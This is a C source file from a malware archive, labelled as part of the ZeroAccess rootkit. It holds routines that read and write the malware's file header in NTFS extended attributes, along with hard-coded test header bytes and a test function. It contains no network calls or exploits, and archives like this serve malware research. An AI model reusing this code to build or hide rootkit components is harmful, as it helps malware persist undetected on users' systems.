/*  name      ZeroAccess  type      rootkit  cve       —  year      unknown  os        Windows  authors   unknown  source    RamadhanAmizudin/malware  archived  RamadhanAmizudin, krisyotam (2026)  notes     — *//*********************************************************************************  (C) COPYRIGHT AUTHORS, 2006 - 2016**  TITLE:       EA.C**  VERSION:     1.00**  DATE:        15 Jan 2016**  ZeroAccess EA support routines.** THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A* PARTICULAR PURPOSE.********************************************************************************/ #include "global.h"#include "ea.h" //NextOffset 0, EaNameLength 3, EaName VERBYTE g_ZaFileEa[] = { 0x00, 0x00, 0x00, 0x00, 0x03, 0x56, 0x45, 0x52, 0x00 }; /** SfNtfsQueryFileHeaderFromEa** Purpose:** Read ZA_FILEHEADER, required for file verification, from file.**/BOOL SfNtfsQueryFileHeaderFromEa(	_In_ HANDLE hFile,	_Inout_ ZA_FILEHEADER *FileHeader	){	BOOL                      bResult;	NTSTATUS                  status;	IO_STATUS_BLOCK           IoStatusBlock;	FILE_FULL_EA_INFORMATION  *EaFullInfo;	FILE_GET_EA_INFORMATION   *EaGetInfo;	BYTE                      Buffer[ZA_EASIZE]; 	RtlSecureZeroMemory(Buffer, sizeof(Buffer));	EaFullInfo = (FILE_FULL_EA_INFORMATION *)&Buffer;	EaGetInfo = (FILE_GET_EA_INFORMATION *)&g_ZaFileEa; 	status = NtQueryEaFile(hFile, &IoStatusBlock, EaFullInfo, ZA_EASIZE,		FALSE, EaGetInfo, sizeof(g_ZaFileEa), NULL, FALSE); 	if ((!NT_SUCCESS(status)) || (EaFullInfo->EaValueLength != sizeof(ZA_FILEHEADER))) {		bResult = FALSE;	}	else {		RtlCopyMemory(FileHeader, (LPBYTE)(EaFullInfo->EaName + EaFullInfo->EaNameLength + 1), sizeof(ZA_FILEHEADER));		bResult = TRUE;	}	return bResult;} /** SfNtfsSetFileHeaderToEa** Purpose:** Write ZA_FILEHEADER, required for file verification, to file.**/BOOL SfNtfsSetFileHeaderToEa(	_In_ HANDLE hFile,	_In_ ZA_FILEHEADER *FileHeader	){	NTSTATUS                  status;	FILE_FULL_EA_INFORMATION *EaFullInfo;	IO_STATUS_BLOCK           IoStatusBlock;	BYTE                      Buffer[ZA_EASIZE];//152 	RtlSecureZeroMemory(Buffer, sizeof(Buffer));	EaFullInfo = (FILE_FULL_EA_INFORMATION*)&Buffer; 	EaFullInfo->Flags = 0;	_strcpy_a(EaFullInfo->EaName, "VER");	EaFullInfo->EaNameLength = 3;	EaFullInfo->EaValueLength = sizeof(ZA_FILEHEADER);	EaFullInfo->NextEntryOffset = 0; 	RtlCopyMemory((LPBYTE)(EaFullInfo->EaName + EaFullInfo->EaNameLength + 1),		FileHeader, sizeof(ZA_FILEHEADER)); 	status = NtSetEaFile(hFile, &IoStatusBlock, EaFullInfo, ZA_EASIZE);	return (NT_SUCCESS(status));} //test ea dataunsigned char zaea[140] = {	0x01, 0x00, 0x00, 0x00, 0x7A, 0x73, 0xB0, 0x43, 0x00, 0x06, 0x00, 0x00, 0x44, 0xAC, 0x09, 0xAA,	0x99, 0xF3, 0x29, 0xA3, 0x21, 0xB2, 0xE7, 0x5C, 0x46, 0x43, 0xA4, 0xDE, 0x51, 0x8C, 0xE8, 0x35,	0x64, 0x66, 0x70, 0x49, 0xFE, 0xF7, 0x86, 0xC4, 0xC5, 0x56, 0x6E, 0x20, 0xC0, 0x16, 0x27, 0xB5,	0xFB, 0x4D, 0x17, 0x66, 0xA2, 0x86, 0x44, 0x4A, 0x36, 0x21, 0x32, 0x18, 0x5D, 0x9E, 0x6D, 0x32,	0x61, 0x20, 0xA7, 0xE7, 0x6D, 0x04, 0x00, 0x9F, 0xC5, 0xBD, 0x8E, 0xFA, 0xFC, 0xB7, 0xD7, 0x14,	0x81, 0x00, 0xDA, 0xDB, 0xCB, 0x36, 0x17, 0xCE, 0x84, 0x0D, 0x53, 0x46, 0x88, 0xEF, 0x1E, 0xC0,	0xF8, 0xF0, 0xDF, 0xC1, 0x15, 0x12, 0x25, 0x63, 0x04, 0x40, 0x0A, 0x00, 0x7A, 0x88, 0x93, 0x99,	0xC5, 0x1E, 0x52, 0x41, 0xE5, 0x18, 0xCB, 0x11, 0xA3, 0x73, 0xD0, 0xA2, 0xA3, 0x30, 0xD0, 0x47,	0x2F, 0x0F, 0x18, 0xD5, 0x03, 0x30, 0xDD, 0xC2, 0xCB, 0x3D, 0x96, 0x34}; NTSTATUS SfNtfsDumpFileEa(	_In_opt_ HANDLE RootDirectory,	_In_ LPWSTR FileName	){	NTSTATUS            status;	HANDLE              hFile;	IO_STATUS_BLOCK     IoStatusBlock;	ZA_FILEHEADER       FileHeader;	OBJECT_ATTRIBUTES   ObjectAttributes;	UNICODE_STRING      uFileName; 	RtlSecureZeroMemory(&uFileName, sizeof(uFileName));	RtlInitUnicodeString(&uFileName, FileName);	InitializeObjectAttributes(&ObjectAttributes, &uFileName, OBJ_CASE_INSENSITIVE, RootDirectory, NULL); 	status = NtOpenFile(&hFile, FILE_GENERIC_READ, &ObjectAttributes, &IoStatusBlock,		FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, 		FILE_SYNCHRONOUS_IO_NONALERT); 	if (!NT_SUCCESS(status))		return status; 	RtlSecureZeroMemory(&FileHeader, sizeof(FileHeader));	if (SfNtfsQueryFileHeaderFromEa(hFile, &FileHeader)) {		SfuWriteBufferToFile(L"outEa.bin", &FileHeader, sizeof(FileHeader), FALSE, FALSE);	}	NtClose(hFile);	return STATUS_SUCCESS;} BOOL TestEa(	BOOL TestSet	){	UNICODE_STRING     usName;	NTSTATUS           status;	HANDLE             hFile = NULL;	IO_STATUS_BLOCK    IoStatusBlock;	OBJECT_ATTRIBUTES  ObjectAttributes;	BOOL               bResult = FALSE, cond = FALSE;	ZA_BOT_PATH        zaBotPath; 	RtlSecureZeroMemory(&usName, sizeof(usName));	RtlSecureZeroMemory(&zaBotPath, sizeof(zaBotPath));	SfuBuildBotPath(&zaBotPath); 	do { 		RtlInitUnicodeString(&usName, L"00000001.@");		InitializeObjectAttributes(&ObjectAttributes, &usName, OBJ_CASE_INSENSITIVE, NULL, NULL); 		if (TestSet) {			status = NtCreateFile(&hFile, FILE_GENERIC_WRITE, &ObjectAttributes, &IoStatusBlock, NULL, 0,				0, FILE_OPEN,				FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE, NULL, 0); 			bResult = SfNtfsSetFileHeaderToEa(hFile, (ZA_FILEHEADER *)&zaea); 			NtClose(hFile);		}		else {			bResult = SfNtfsDumpFileEa(NULL, L"out.bin");		} 	} while (cond);  	return bResult;}